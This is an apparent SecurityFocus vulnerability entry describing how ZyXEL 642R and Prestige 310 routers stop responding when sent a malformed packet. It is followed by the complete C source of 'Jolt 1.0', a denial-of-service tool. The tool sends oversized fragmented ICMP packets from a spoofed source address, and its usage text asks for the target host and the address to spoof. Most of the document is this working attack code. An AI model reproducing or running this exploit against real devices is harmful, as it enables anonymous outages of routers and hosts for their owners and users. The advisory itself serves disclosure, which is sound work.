source: http://www.securityfocus.com/bid/5292/info

ZyXEL 642R and Prestige 310 routers have difficulties handling IP packets that are malformed. Reportedly, when ZyXEL routers receive a single specially malformed packet, they stop responding for exactly 30 seconds. 

ZyXEL 642R and Prestige 310 routers are reportedly affected by this vulnerability. It is possible that other ZyNOS-based routers are also affected by this vulnerability

/* Jolt 1.0 (c) 1997 by Jeff w. Roberson
 * Please, if you use my code give me credit.  Also, if i was the first to
 * find this glitch, please give me credit.  Thats all i ask.
 *
 * Ok so all this does is build a really fraggmented over sized packet
 * and once win95 gets it, and puts it back together it locks.  I send
 * multiple packets by default cause some times it takes a few packets to
 * totally freeze the host.  Maybe its spending processor time to figure
 * out how to put them back together?  I've had reports of people blue
 * screening from it tho so we'll let Microsoft's boys figure out exactly
 * what this does to 95.  As of now i haven't tested it on NT, but maybe
 * i will later ;).  All of this source wasn't origonally written by me
 * I just took one of the old programs to kill POSIX and SYSV based
 * systems and worked on it abit, then made it spoof =). 
 * VallaH  (yaway@hotmail.com)
 *
 *  Update: It apears to work on some older versions of mac os
 */

/* Yah this is for linux, but i like the BSD ip header better then linux's */
#define __BSD_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char **argv)
{
        int s,i;
        char buf[400];
        struct ip *ip = (struct ip *)buf;
        struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
        struct hostent *hp, *hp2;
        struct sockaddr_in dst;
        int offset;
        int on = 1;
	int num = 5;

        bzero(buf, sizeof buf);

        if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
                perror("socket");
                exit(1);
        }
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                perror("IP_HDRINCL");
                exit(1);
        }
        if (argc < 3) {
		printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");
                printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
		printf("\tdstaddr is the host your attacking\n");
		printf("\tsaddr is the host your spoofing from\n");
		printf("\tNumber is the number of packets to send, 5 is the default\n");
		printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");
		printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
                exit(1);
        }
        if (argc == 4) num = atoi(argv[3]);
    for (i=1;i<=num;i++) {

        if ((hp = gethostbyname(argv[1])) == NULL) {
                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                        fprintf(stderr, "%s: unknown host\n", argv[1]);
			exit(1);
                }
        } else {
                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
        }

        if ((hp2 = gethostbyname(argv[2])) == NULL) {
                if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
                        fprintf(stderr, "%s: unknown host\n", argv[2]);
                        exit(1);
                }
        } else {
                bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
        }

        printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
        ip->ip_v = 4;
        ip->ip_hl = sizeof *ip >> 2;
        ip->ip_tos = 0;
        ip->ip_len = htons(sizeof buf);
        ip->ip_id = htons(4321);
        ip->ip_off = htons(0);
        ip->ip_ttl = 255;
        ip->ip_p = 1;
        ip->ip_csum = 0;                 /* kernel fills in */

        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;

        icmp->type = ICMP_ECHO;
        icmp->code = 0;
        icmp->checksum = htons(~(ICMP_ECHO << 8));
        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
                ip->ip_off = htons(offset >> 3);
                if (offset < 65120)
                        ip->ip_off |= htons(0x2000);
                else
                        ip->ip_len = htons(418);  /* make total 65538 */
                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                        sizeof dst) < 0) {
                        fprintf(stderr, "offset %d: ", offset);
                        perror("sendto");
                }
                if (offset == 0) {
                        icmp->type = 0;
                        icmp->code = 0;
                        icmp->checksum = 0;
                }
        }
    }
	return 0;
}